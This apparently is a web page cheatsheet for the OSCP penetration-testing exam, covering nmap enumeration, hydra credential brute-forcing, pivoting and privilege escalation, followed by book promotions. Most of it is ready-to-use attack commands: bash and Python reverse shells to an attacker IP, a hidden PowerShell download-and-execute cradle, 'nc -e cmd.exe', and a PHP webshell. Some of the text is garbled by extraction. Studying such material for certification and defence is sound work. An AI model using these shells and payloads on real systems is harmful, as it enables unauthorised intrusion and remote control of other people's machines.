OSCP CheatSheet - Hacklivly



The Offensive Security Certified Professional (OSCP) is one of the toughest and most respected certifications in cybersecurity. Whether you're preparing for the exam or working on real-world penetration testing, having a structured cheatsheet is essential. This guide covers everything from enumeration to privilege escalation, including shells, payloads, and port forwarding.



Basic Scan

nmap -sC -sV -p- -oN full_scan.txt <target>

• sc: Runs default scripts

- sv: Detects service versions
- p-: Scans all ports
- ON: Saves output to a file

Aggressive Scan with OS Detection

nmap -A -T4 <target>

Scan Specific Ports

nmap -p 21,22,53,80,443,139,445,2049 <target>

🔼 Banner Grabbing 🙌

Using Netcat

nc -nv <target> <port>

Using Telnet

telnet <target> <port>

Using Curl for HTTP Headers

curl -I http://<target>

Port-Specific Enumeration

Port 21 - FTP

nmap --script=ftp-anon -p 21 <target>

Check for anonymous login:

ftp <target>

Port 22 - SSH

Check for weak credentials:

hydra -L users.txt -P passwords.txt ssh://<target>

Port 53 - DNS

Check for zone transfer:

dig axfr @<target> <domain>

Port 79 - Finger

finger @<target>

Port 80/443 - HTTP(S)

gobuster dir -u http://<target> -w /usr/share/wordlists/dirb/common.txt

Check for hidden files:

curl -X OPTIONS http://<target>

Port 110 - POP3

nc <target> 110

Use USER and PASS to check login.

Port 139/445 - SMB

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nmap --script=smb-enum-shares -p 139,445 <target>
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Check for anonymous login:

smbclient -L //<target>/ -N

Port 161 - SNMP

snmpwalk -v2c -c public <target>

Port 2049 - NFS

showmount -e <target>

💶 Shells & Payloads 🎯*

Universal Listeners

Netcat Listener:

nc -lvnp 4444

Metasploit Listener:

use exploit/multi/handler set payload linux/x64/meterpreter/reverse_tcp set LHOST <your-ip>

set LPORT 4444 run

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Linux Shells

Reverse Shell:

bash -i >& /dev/tcp/<your-ip>/4444 0>&1

Python Reverse Shell:

python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<your-ip>",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

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Windows Shells

PowerShell Reverse Shell:

powershell -NoP -NonI -W Hidden -Exec Bypass -C "IEX (New-Object Net.We bClient).DownloadString('http://<your-ip>/shell.ps1')"

Netcat Reverse Shell:

nc.exe -e cmd.exe <your-ip> 4444

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PHP Webshells

<?php system(\$_GET['cmd']); ?>

Upload this file and execute commands like:

http://target.com/shell.php?cmd=whoami

Upgrading Your Shell - Linux

If you get a limited shell, upgrade it to an interactive one:

python3 -c 'import pty; pty.spawn("/bin/bash")'

Enable a proper TTY:

export TERM=xterm-256color stty raw -echo; fg

6 Escaping Jailed Shells

Check if restricted shell is active:

echo \$SHELL

Bypass Limited Shell:

awk 'BEGIN {system("/bin/bash")}'

or

perl -e 'exec "/bin/sh";'



Linux - HTTP Server

Start a Python HTTP server:

python3 -m http.server 8080

Download the file on the target:

wget http://<your-ip>:8080/shell.sh

Windows File Transfer (PowerShell)

Invoke-WebRequest -Uri "http://<your-ip>/nc.exe" -OutFile "C:\Users\Public\n c.exe"

Port Forwarding & Pivoting

Linux

ssh -L 8080:127.0.0.1:80 user@pivot-host

Windows (Chisel)

chisel client <your-ip>:8000 R:8080:127.0.0.1:80

🧿 Privilege Escalation 🚀

Windows Privilege Escalation Check for Privileges

whoami /priv

Find Weak Service Permissions

icacls C:\Program Files\VulnerableApp

Check for Unquoted Service Paths

wmic service get name, displayname, pathname

Windows Kernel Exploits

https://github.com/SecWiki/windows-kernel-exploits

Linux Privilege Escalation

Find SUID Binaries

find / -perm -4000 2>/dev/null

Check for Sudo Privileges

sudo -l

Escalate to Root if Sudo is Misconfigured

sudo /bin/bash

Kernel Exploits (Dirty Pipe, Dirty COW, etc.)

https://github.com/SecWiki/linux-kernel-exploits



To master **Linux hacking and privilege escalation**, check out our book:

Linux Playbook For Hackers

A must-have guide covering **Linux enumeration**, **privilege escalation**, **file transfers**, **and network pivoting**.

For advanced scripting & automation, check out:

<u>Python & Bash for Hackers: Master Shell Scripting, Build Custom Tools & Automate Pentesting</u>

Perfect for OSCP, red teaming, and penetration testers.

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of Final Thoughts

The OSCP exam is about **methodology**, **patience**, **and persistence**. Use this cheatsheet, **document everything**, and **try harder!**